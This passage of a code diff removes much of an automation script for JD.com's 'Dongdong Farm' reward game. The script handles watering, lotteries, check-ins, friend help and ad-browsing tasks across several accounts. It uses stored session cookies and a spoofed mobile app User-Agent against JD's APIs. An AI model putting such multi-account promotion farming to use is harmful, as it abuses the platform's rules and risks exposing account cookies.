- let overageEnergy = totalEnergy - retainWater; - if (overageEnergy >= ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy)) { - //如果现有的水滴,大于水果可兑换所需的对滴(也就是把水滴浇完,水果就能兑换了) - isFruitFinished = false; - for (let i = 0; i < ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy) / 10; i++) { - await waterGoodForFarm(); - console.log(`本次浇水结果(水果马上就可兑换了): ${JSON.stringify($.waterResult)}`); - if ($.waterResult.code === '0') { - console.log('\n浇水10g成功\n'); - if ($.waterResult.finished) { - // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 - isFruitFinished = true; - break - } else { - console.log(`目前水滴【${$.waterResult.totalEnergy}】g,继续浇水,水果马上就可以兑换了`) - } - } else { - console.log('浇水出现失败异常,跳出不在继续浇水') - break; - } - } - if (isFruitFinished) { - option['open-url'] = urlSchema; - $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); - $.done(); - if ($.isNode()) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); - } - } - } else if (overageEnergy >= 10) { - console.log("目前剩余水滴:【" + totalEnergy + "】g,可继续浇水"); - isFruitFinished = false; - for (let i = 0; i < parseInt(overageEnergy / 10); i++) { - await waterGoodForFarm(); - console.log(`本次浇水结果: ${JSON.stringify($.waterResult)}`); - if ($.waterResult.code === '0') { - console.log(`\n浇水10g成功,剩余${$.waterResult.totalEnergy}\n`) - if ($.waterResult.finished) { - // 已证实,waterResult.finished为true,表示水果可以去领取兑换了 - isFruitFinished = true; - break - } else { - await gotStageAward() - } - } else { - console.log('浇水出现失败异常,跳出不在继续浇水') - break; - } - } - if (isFruitFinished) { - option['open-url'] = urlSchema; - $.msg($.name, ``, `【京东账号${$.index}】${$.nickName || $.UserName}\n【提醒⏰】${$.farmInfo.farmUserPro.name}已可领取\n请去京东APP或微信小程序查看\n点击弹窗即达`, option); - $.done(); - if ($.isNode()) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}水果已可领取`, `京东账号${$.index} ${$.nickName || $.UserName}\n${$.farmInfo.farmUserPro.name}已可领取`); - } - } - } else { - console.log("目前剩余水滴:【" + totalEnergy + "】g,不再继续浇水,保留部分水滴用于完成第二天【十次浇水得水滴】任务") - } -} -//领取阶段性水滴奖励 -function gotStageAward() { - return new Promise(async resolve => { - if ($.waterResult.waterStatus === 0 && $.waterResult.treeEnergy === 10) { - console.log('果树发芽了,奖励30g水滴'); - await gotStageAwardForFarm('1'); - console.log(`浇水阶段奖励1领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); - if ($.gotStageAwardForFarmRes.code === '0') { - // message += `【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`; - console.log(`【果树发芽了】奖励${$.gotStageAwardForFarmRes.addEnergy}\n`); - } - } else if ($.waterResult.waterStatus === 1) { - console.log('果树开花了,奖励40g水滴'); - await gotStageAwardForFarm('2'); - console.log(`浇水阶段奖励2领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`); - if ($.gotStageAwardForFarmRes.code === '0') { - // message += `【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; - console.log(`【果树开花了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); - } - } else if ($.waterResult.waterStatus === 2) { - console.log('果树长出小果子啦, 奖励50g水滴'); - await gotStageAwardForFarm('3'); - console.log(`浇水阶段奖励3领取结果 ${JSON.stringify($.gotStageAwardForFarmRes)}`) - if ($.gotStageAwardForFarmRes.code === '0') { - // message += `【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`; - console.log(`【果树结果了】奖励${$.gotStageAwardForFarmRes.addEnergy}g💧\n`); - } - } - resolve() - }) -} -//天天抽奖活动 -async function turntableFarm() { - await initForTurntableFarm(); - if ($.initForTurntableFarmRes.code === '0') { - //领取定时奖励 //4小时一次 - let { timingIntervalHours, timingLastSysTime, sysTime, timingGotStatus, remainLotteryTimes, turntableInfos } = $.initForTurntableFarmRes; - - if (!timingGotStatus) { - console.log(`是否到了领取免费赠送的抽奖机会----${sysTime > (timingLastSysTime + 60*60*timingIntervalHours*1000)}`) - if (sysTime > (timingLastSysTime + 60 * 60 * timingIntervalHours * 1000)) { - await timingAwardForTurntableFarm(); - console.log(`领取定时奖励结果${JSON.stringify($.timingAwardRes)}`); - await initForTurntableFarm(); - remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; - } else { - console.log(`免费赠送的抽奖机会未到时间`) - } - } else { - console.log('4小时候免费赠送的抽奖机会已领取') - } - if ($.initForTurntableFarmRes.turntableBrowserAds && $.initForTurntableFarmRes.turntableBrowserAds.length > 0) { - for (let index = 0; index < $.initForTurntableFarmRes.turntableBrowserAds.length; index++) { - if (!$.initForTurntableFarmRes.turntableBrowserAds[index].status) { - console.log(`开始浏览天天抽奖的第${index + 1}个逛会场任务`) - await browserForTurntableFarm(1, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); - if ($.browserForTurntableFarmRes.code === '0' && $.browserForTurntableFarmRes.status) { - console.log(`第${index + 1}个逛会场任务完成,开始领取水滴奖励\n`) - await browserForTurntableFarm(2, $.initForTurntableFarmRes.turntableBrowserAds[index].adId); - if ($.browserForTurntableFarmRes.code === '0') { - console.log(`第${index + 1}个逛会场任务领取水滴奖励完成\n`) - await initForTurntableFarm(); - remainLotteryTimes = $.initForTurntableFarmRes.remainLotteryTimes; - } - } - } else { - console.log(`浏览天天抽奖的第${index + 1}个逛会场任务已完成`) - } - } - } - console.log(`---天天抽奖次数----${remainLotteryTimes}次`) - //抽奖 - if (remainLotteryTimes > 0) { - console.log('开始抽奖') - let lotteryResult = ''; - for (let i = 0; i < new Array(remainLotteryTimes).fill('').length; i++) { - await lotteryForTurntableFarm() - console.log(`第${i + 1}次抽奖结果${JSON.stringify($.lotteryRes)}`); - if ($.lotteryRes.code === '0') { - turntableInfos.map((item) => { - if (item.type === $.lotteryRes.type) { - console.log(`lotteryRes.type${$.lotteryRes.type}`); - if ($.lotteryRes.type.match(/bean/g) && $.lotteryRes.type.match(/bean/g)[0] === 'bean') { - lotteryResult += `${item.name}个,`; - } else if ($.lotteryRes.type.match(/water/g) && $.lotteryRes.type.match(/water/g)[0] === 'water') { - lotteryResult += `${item.name},`; - } else { - lotteryResult += `${item.name},`; - } - } - }) - //没有次数了 - if ($.lotteryRes.remainLotteryTimes === 0) { - break - } - } - } - if (lotteryResult) { - console.log(`【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`) - // message += `【天天抽奖】${lotteryResult.substr(0, lotteryResult.length - 1)}\n`; - } - } else { - console.log('天天抽奖--抽奖机会为0次') - } - } else { - console.log('初始化天天抽奖得好礼失败') - } -} -//领取额外奖励水滴 -async function getExtraAward() { - await farmAssistInit(); - if ($.farmAssistResult.code === "0") { - if ($.farmAssistResult.assistFriendList && $.farmAssistResult.assistFriendList.length >= 2) { - if ($.farmAssistResult.status === 2) { - let num = 0; - for (let key of Object.keys($.farmAssistResult.assistStageList)) { - let vo = $.farmAssistResult.assistStageList[key] - if (vo.stageStaus === 2) { - await receiveStageEnergy() - if ($.receiveStageEnergy.code === "0") { - console.log(`已成功领取第${key + 1}阶段好友助力奖励:【${$.receiveStageEnergy.amount}】g水`) - num += $.receiveStageEnergy.amount - } - } - } - message += `【额外奖励】${num}g水领取成功\n`; - } else if ($.farmAssistResult.status === 3) { - console.log("已经领取过8好友助力额外奖励"); - message += `【额外奖励】已被领取过\n`; - } - } else { - console.log("助力好友未达到2个"); - message += `【额外奖励】领取失败,原因:给您助力的人未达2个\n`; - } - if ($.farmAssistResult.assistFriendList && $.farmAssistResult.assistFriendList.length > 0) { - let str = ''; - $.farmAssistResult.assistFriendList.map((item, index) => { - if (index === ($.farmAssistResult.assistFriendList.length - 1)) { - str += item.nickName || "匿名用户"; - } else { - str += (item.nickName || "匿名用户") + ','; - } - let date = new Date(item.time); - let time = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + ' ' + date.getHours() + ':' + date.getMinutes() + ':' + date.getMinutes(); - console.log(`\n京东昵称【${item.nickName || "匿名用户"}】 在 ${time} 给您助过力\n`); - }) - message += `【助力您的好友】${str}\n`; - } - console.log('领取额外奖励水滴结束\n'); - } else { - await masterHelpTaskInitForFarm(); - if ($.masterHelpResult.code === '0') { - if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length >= 5) { - // 已有五人助力。领取助力后的奖励 - if (!$.masterHelpResult.masterGotFinal) { - await masterGotFinishedTaskForFarm(); - if ($.masterGotFinished.code === '0') { - console.log(`已成功领取好友助力奖励:【${$.masterGotFinished.amount}】g水`); - message += `【额外奖励】${$.masterGotFinished.amount}g水领取成功\n`; - } - } else { - console.log("已经领取过5好友助力额外奖励"); - message += `【额外奖励】已被领取过\n`; - } - } else { - console.log("助力好友未达到5个"); - message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`; - } - if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length > 0) { - let str = ''; - $.masterHelpResult.masterHelpPeoples.map((item, index) => { - if (index === ($.masterHelpResult.masterHelpPeoples.length - 1)) { - str += item.nickName || "匿名用户"; - } else { - str += (item.nickName || "匿名用户") + ','; - } - let date = new Date(item.time); - let time = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + ' ' + date.getHours() + ':' + date.getMinutes() + ':' + date.getMinutes(); - console.log(`\n京东昵称【${item.nickName || "匿名用户"}】 在 ${time} 给您助过力\n`); - }) - message += `【助力您的好友】${str}\n`; - } - console.log('领取额外奖励水滴结束\n'); - } - } -} - -//水滴雨 -async function executeWaterRains() { - let executeWaterRain = !$.farmTask.waterRainInit.f; - if (executeWaterRain) { - console.log(`水滴雨任务,每天两次,最多可得10g水滴`); - console.log(`两次水滴雨任务是否全部完成:${$.farmTask.waterRainInit.f ? '是' : '否'}`); - if ($.farmTask.waterRainInit.lastTime) { - if (Date.now() < ($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000)) { - executeWaterRain = false; - // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`; - console.log(`\`【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`); - } - } - if (executeWaterRain) { - console.log(`开始水滴雨任务,这是第${$.farmTask.waterRainInit.winTimes + 1}次,剩余${2 - ($.farmTask.waterRainInit.winTimes + 1)}次`); - await waterRainForFarm(); - console.log('水滴雨waterRain'); - if ($.waterRain.code === '0') { - console.log('水滴雨任务执行成功,获得水滴:' + $.waterRain.addEnergy + 'g'); - console.log(`【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`); - // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`; - } - } - } else { - // message += `【水滴雨】已全部完成,获得20g💧\n`; - } -} -//打卡领水活动 -async function clockInIn() { - console.log('开始打卡领水活动(签到,关注,领券)'); - await clockInInitForFarm(); - if ($.clockInInit.code === '0') { - // 签到得水滴 - if (!$.clockInInit.todaySigned) { - console.log('开始今日签到'); - await clockInForFarm(); - console.log(`打卡结果${JSON.stringify($.clockInForFarmRes)}`); - if ($.clockInForFarmRes.code === '0') { - // message += `【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`; - console.log(`【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`) - if ($.clockInForFarmRes.signDay === 7) { - //可以领取惊喜礼包 - console.log('开始领取--惊喜礼包38g水滴'); - await gotClockInGift(); - if ($.gotClockInGiftRes.code === '0') { - // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; - console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); - } - } - } - } - if ($.clockInInit.todaySigned && $.clockInInit.totalSigned === 7) { - console.log('开始领取--惊喜礼包38g水滴'); - await gotClockInGift(); - if ($.gotClockInGiftRes.code === '0') { - // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; - console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); - } - } - // 限时关注得水滴 - if ($.clockInInit.themes && $.clockInInit.themes.length > 0) { - for (let item of $.clockInInit.themes) { - if (!item.hadGot) { - console.log(`关注ID${item.id}`); - await clockInFollowForFarm(item.id, "theme", "1"); - console.log(`themeStep1--结果${JSON.stringify($.themeStep1)}`); - if ($.themeStep1.code === '0') { - await clockInFollowForFarm(item.id, "theme", "2"); - console.log(`themeStep2--结果${JSON.stringify($.themeStep2)}`); - if ($.themeStep2.code === '0') { - console.log(`关注${item.name},获得水滴${$.themeStep2.amount}g`); - } - } - } - } - } - // 限时领券得水滴 - if ($.clockInInit.venderCoupons && $.clockInInit.venderCoupons.length > 0) { - for (let item of $.clockInInit.venderCoupons) { - if (!item.hadGot) { - console.log(`领券的ID${item.id}`); - await clockInFollowForFarm(item.id, "venderCoupon", "1"); - console.log(`venderCouponStep1--结果${JSON.stringify($.venderCouponStep1)}`); - if ($.venderCouponStep1.code === '0') { - await clockInFollowForFarm(item.id, "venderCoupon", "2"); - if ($.venderCouponStep2.code === '0') { - console.log(`venderCouponStep2--结果${JSON.stringify($.venderCouponStep2)}`); - console.log(`从${item.name}领券,获得水滴${$.venderCouponStep2.amount}g`); - } - } - } - } - } - } - console.log('开始打卡领水活动(签到,关注,领券)结束\n'); -} - -//给好友浇水 -async function doFriendsWater() { - await friendListInitForFarm(); - console.log('开始给好友浇水...'); - await taskInitForFarm(); - const { waterFriendCountKey, waterFriendMax } = $.farmTask.waterFriendTaskInit; - console.log(`今日已给${waterFriendCountKey}个好友浇水`); - if (waterFriendCountKey < waterFriendMax) { - let needWaterFriends = []; - if ($.friendList.friends && $.friendList.friends.length > 0) { - $.friendList.friends.map((item, index) => { - if (item.friendState === 1) { - if (needWaterFriends.length < (waterFriendMax - waterFriendCountKey)) { - needWaterFriends.push(item.shareCode); - } - } - }); - console.log(`需要浇水的好友列表shareCodes:${JSON.stringify(needWaterFriends)}`); - let waterFriendsCount = 0, - cardInfoStr = ''; - for (let index = 0; index < needWaterFriends.length; index++) { - await waterFriendForFarm(needWaterFriends[index]); - console.log(`为第${index+1}个好友浇水结果:${JSON.stringify($.waterFriendForFarmRes)}\n`) - if ($.waterFriendForFarmRes.code === '0') { - waterFriendsCount++; - if ($.waterFriendForFarmRes.cardInfo) { - console.log('为好友浇水获得道具了'); - if ($.waterFriendForFarmRes.cardInfo.type === 'beanCard') { - console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); - cardInfoStr += `水滴换豆卡,`; - } else if ($.waterFriendForFarmRes.cardInfo.type === 'fastCard') { - console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); - cardInfoStr += `快速浇水卡,`; - } else if ($.waterFriendForFarmRes.cardInfo.type === 'doubleCard') { - console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); - cardInfoStr += `水滴翻倍卡,`; - } else if ($.waterFriendForFarmRes.cardInfo.type === 'signCard') { - console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); - cardInfoStr += `加签卡,`; - } - } - } else if ($.waterFriendForFarmRes.code === '11') { - console.log('水滴不够,跳出浇水') - } - } - // message += `【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`; - console.log(`【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`); - if (cardInfoStr && cardInfoStr.length > 0) { - // message += `【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`; - console.log(`【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`); - } - } else { - console.log('您的好友列表暂无好友,快去邀请您的好友吧!') - } - } else { - console.log(`今日已为好友浇水量已达${waterFriendMax}个`) - } -} -//领取给3个好友浇水后的奖励水滴 -async function getWaterFriendGotAward() { - await taskInitForFarm(); - const { waterFriendCountKey, waterFriendMax, waterFriendSendWater, waterFriendGotAward } = $.farmTask.waterFriendTaskInit - if (waterFriendCountKey >= waterFriendMax) { - if (!waterFriendGotAward) { - await waterFriendGotAwardForFarm(); - console.log(`领取给${waterFriendMax}个好友浇水后的奖励水滴::${JSON.stringify($.waterFriendGotAwardRes)}`) - if ($.waterFriendGotAwardRes.code === '0') { - // message += `【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`; - console.log(`【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`); - } - } else { - console.log(`给好友浇水的${waterFriendSendWater}g水滴奖励已领取\n`); - // message += `【给${waterFriendMax}好友浇水】奖励${waterFriendSendWater}g水滴已领取\n`; - } - } else { - console.log(`暂未给${waterFriendMax}个好友浇水\n`); - } -} - -async function duck() { - for (let i = 0; i < 10; i++) { - //这里循环十次 - await getFullCollectionReward(); - if ($.duckRes.code === '0') { - if (!$.duckRes.hasLimit) { - console.log(`小鸭子游戏:${$.duckRes.title}`); - // if ($.duckRes.type !== 3) { - // console.log(`${$.duckRes.title}`); - // if ($.duckRes.type === 1) { - // message += `【小鸭子】为你带回了水滴\n`; - // } else if ($.duckRes.type === 2) { - // message += `【小鸭子】为你带回快速浇水卡\n` - // } - // } - } else { - console.log(`${$.duckRes.title}`) - break; - } - } else if ($.duckRes.code === '10') { - console.log(`小鸭子游戏达到上限`) - break; - } - } -} -async function collect() { - try { - await initForFarm(); - if ($.farmInfo.farmUserPro) { - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.farmInfo.farmUserPro.shareCode}\n`); - jdFruitShareArr.push($.farmInfo.farmUserPro.shareCode) - } else { - //console.log(`初始化农场数据异常, 请登录京东 app查看农场0元水果功能是否正常。`); - } - } catch (e) { - $.logErr(e); - } -} -// ========================API调用接口======================== -//鸭子,点我有惊喜 -async function getFullCollectionReward() { - return new Promise(resolve => { - const body = { "type": 2, "version": 6, "channel": 2 }; - $.post(taskUrl("getFullCollectionReward", body), (err, resp, data) => { - try { - if (err) { - console.log('\n东东农场: API查询请求失败 ‼️‼️'); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - if (safeGet(data)) { - $.duckRes = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -/** - * 领取10次浇水奖励API - */ -async function totalWaterTaskForFarm() { - const functionId = arguments.callee.name.toString(); - $.totalWaterReward = await request(functionId); -} -//领取首次浇水奖励API -async function firstWaterTaskForFarm() { - const functionId = arguments.callee.name.toString(); - $.firstWaterReward = await request(functionId); -} -//领取给3个好友浇水后的奖励水滴API -async function waterFriendGotAwardForFarm() { - const functionId = arguments.callee.name.toString(); - $.waterFriendGotAwardRes = await request(functionId, { "version": 4, "channel": 1 }); -} -// 查询背包道具卡API -async function myCardInfoForFarm() { - const functionId = arguments.callee.name.toString(); - $.myCardInfoRes = await request(functionId, { "version": 5, "channel": 1 }); -} -//使用道具卡API -async function userMyCardForFarm(cardType) { - const functionId = arguments.callee.name.toString(); - $.userMyCardRes = await request(functionId, { "cardType": cardType }); -} -/** - * 领取浇水过程中的阶段性奖励 - * @param type - * @returns {Promise} - */ -async function gotStageAwardForFarm(type) { - $.gotStageAwardForFarmRes = await request(arguments.callee.name.toString(), { 'type': type }); -} -//浇水API -async function waterGoodForFarm() { - await $.wait(3000); - console.log('等待了3秒'); - - const functionId = arguments.callee.name.toString(); - $.waterResult = await request(functionId); -} -// 初始化集卡抽奖活动数据API -async function initForTurntableFarm() { - $.initForTurntableFarmRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); -} -async function lotteryForTurntableFarm() { - await $.wait(2000); - console.log('等待了2秒'); - $.lotteryRes = await request(arguments.callee.name.toString(), { type: 1, version: 4, channel: 1 }); -} - -async function timingAwardForTurntableFarm() { - $.timingAwardRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); -} - -async function browserForTurntableFarm(type, adId) { - if (type === 1) { - console.log('浏览爆品会场'); - } - if (type === 2) { - console.log('天天抽奖浏览任务领取水滴'); - } - const body = { "type": type, "adId": adId, "version": 4, "channel": 1 }; - $.browserForTurntableFarmRes = await request(arguments.callee.name.toString(), body); - // 浏览爆品会场8秒 -} -//天天抽奖浏览任务领取水滴API -async function browserForTurntableFarm2(type) { - const body = { "type": 2, "adId": type, "version": 4, "channel": 1 }; - $.browserForTurntableFarm2Res = await request('browserForTurntableFarm', body); -} -/** - * 天天抽奖拿好礼-助力API(每人每天三次助力机会) - */ -async function lotteryMasterHelp() { - $.lotteryMasterHelpRes = await request(`initForFarm`, { - imageUrl: "", - nickName: "", - shareCode: arguments[0] + '-3', - babelChannel: "3", - version: 4, - channel: 1 - }); -} - -//领取5人助力后的额外奖励API -async function masterGotFinishedTaskForFarm() { - const functionId = arguments.callee.name.toString(); - $.masterGotFinished = await request(functionId); -} -//助力好友信息API -async function masterHelpTaskInitForFarm() { - const functionId = arguments.callee.name.toString(); - $.masterHelpResult = await request(functionId); -} -//新版助力好友信息API -async function farmAssistInit() { - const functionId = arguments.callee.name.toString(); - $.farmAssistResult = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); -} -//新版领取助力奖励API -async function receiveStageEnergy() { - const functionId = arguments.callee.name.toString(); - $.receiveStageEnergy = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); -} -//接受对方邀请,成为对方好友的API -async function inviteFriend() { - $.inviteFriendRes = await request(`initForFarm`, { - imageUrl: "", - nickName: "", - shareCode: arguments[0] + '-inviteFriend', - version: 4, - channel: 2 - }); -} -// 助力好友API -async function masterHelp() { - $.helpResult = await request(`initForFarm`, { - imageUrl: "", - nickName: "", - shareCode: arguments[0], - babelChannel: "3", - version: 2, - channel: 1 - }); -} -/** - * 水滴雨API - */ -async function waterRainForFarm() { - const functionId = arguments.callee.name.toString(); - const body = { "type": 1, "hongBaoTimes": 100, "version": 3 }; - $.waterRain = await request(functionId, body); -} -/** - * 打卡领水API - */ -async function clockInInitForFarm() { - const functionId = arguments.callee.name.toString(); - $.clockInInit = await request(functionId); -} - -// 连续签到API -async function clockInForFarm() { - const functionId = arguments.callee.name.toString(); - $.clockInForFarmRes = await request(functionId, { "type": 1 }); -} - -//关注,领券等API -async function clockInFollowForFarm(id, type, step) { - const functionId = arguments.callee.name.toString(); - let body = { - id, - type, - step - } - if (type === 'theme') { - if (step === '1') { - $.themeStep1 = await request(functionId, body); - } else if (step === '2') { - $.themeStep2 = await request(functionId, body); - } - } else if (type === 'venderCoupon') { - if (step === '1') { - $.venderCouponStep1 = await request(functionId, body); - } else if (step === '2') { - $.venderCouponStep2 = await request(functionId, body); - } - } -} - -// 领取连续签到7天的惊喜礼包API -async function gotClockInGift() { - $.gotClockInGiftRes = await request('clockInForFarm', { "type": 2 }) -} - -//定时领水API -async function gotThreeMealForFarm() { - const functionId = arguments.callee.name.toString(); - $.threeMeal = await request(functionId); -} -/** - * 浏览广告任务API - * type为0时, 完成浏览任务 - * type为1时, 领取浏览任务奖励 - */ -async function browseAdTaskForFarm(advertId, type) { - const functionId = arguments.callee.name.toString(); - if (type === 0) { - $.browseResult = await request(functionId, { advertId, type, "version": 14, "channel": 1, "babelChannel": "45" }); - } else if (type === 1) { - $.browseRwardResult = await request(functionId, { advertId, type, "version": 14, "channel": 1, "babelChannel": "45" }); - } -} -// 被水滴砸中API -async function gotWaterGoalTaskForFarm() { - $.goalResult = await request(arguments.callee.name.toString(), { type: 3 }); -} -//签到API -async function signForFarm() { - const functionId = arguments.callee.name.toString(); - $.signResult = await request(functionId); -} -/** - * 初始化农场, 可获取果树及用户信息API - */ -async function initForFarm() { - return new Promise(resolve => { - const option = { - url: `${JD_API_HOST}?functionId=initForFarm`, - body: `body=${escape(JSON.stringify({ "version":14}))}&appid=wh5&clientVersion=9.1.0`, - headers: { - "accept": "*/*", - "accept-encoding": "gzip, deflate, br", - "accept-language": "zh-CN,zh;q=0.9", - "cache-control": "no-cache", - "cookie": cookie, - "origin": "https://home.m.jd.com", - "pragma": "no-cache", - "referer": "https://home.m.jd.com/myJd/newhome.action", - "sec-fetch-dest": "empty", - "sec-fetch-mode": "cors", - "sec-fetch-site": "same-site", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Content-Type": "application/x-www-form-urlencoded" - }, - timeout: 10000, - }; - $.post(option, (err, resp, data) => { - try { - if (err) { - console.log('\n东东农场: API查询请求失败 ‼️‼️'); - console.log(JSON.stringify(err)); - $.logErr(err); - } else { - if (safeGet(data)) { - $.farmInfo = JSON.parse(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -// 初始化任务列表API -async function taskInitForFarm() { - console.log('\n初始化任务列表') - const functionId = arguments.callee.name.toString(); - $.farmTask = await request(functionId, { "version": 14, "channel": 1, "babelChannel": "45" }); -} -//获取好友列表API -async function friendListInitForFarm() { - $.friendList = await request('friendListInitForFarm', { "version": 4, "channel": 1 }); - // console.log('aa', aa); -} -// 领取邀请好友的奖励API -async function awardInviteFriendForFarm() { - $.awardInviteFriendRes = await request('awardInviteFriendForFarm'); -} -//为好友浇水API -async function waterFriendForFarm(shareCode) { - const body = { "shareCode": shareCode, "version": 6, "channel": 1 } - $.waterFriendForFarmRes = await request('waterFriendForFarm', body); -} -async function showMsg() { - if ($.isNode() && process.env.FRUIT_NOTIFY_CONTROL) { - $.ctrTemp = `${process.env.FRUIT_NOTIFY_CONTROL}` === 'false'; - } else if ($.getdata('jdFruitNotify')) { - $.ctrTemp = $.getdata('jdFruitNotify') === 'false'; - } else { - $.ctrTemp = `${jdNotify}` === 'false'; - } - if ($.ctrTemp) { - $.msg($.name, subTitle, message, option); - if ($.isNode()) { - allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; - // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `${subTitle}\n${message}`); - } - } else { - $.log(`\n${message}\n`); - } -} - -function timeFormat(time) { - let date; - if (time) { - date = new Date(time) - } else { - date = new Date(); - } - return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); -} -function requireConfig() { - return new Promise(resolve => { - console.log('开始获取配置文件\n') - notify = $.isNode() ? require('./sendNotify') : ''; - //Node.js用户请在jdCookie.js处填写京东ck; - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - //IOS等用户直接用NobyDa的jd cookie - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; - } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${cookiesArr.length}个京东账号\n`) - $.shareCodesArr = []; - resolve() - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0 && data.base && data.base.nickname) { - $.nickName = data.base.nickname; - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -function request(function_id, body = {}, timeout = 1000) { - return new Promise(resolve => { - setTimeout(() => { - $.get(taskUrl(function_id, body), (err, resp, data) => { - try { - if (err) { - console.log('\n东东农场: API查询请求失败 ‼️‼️') - 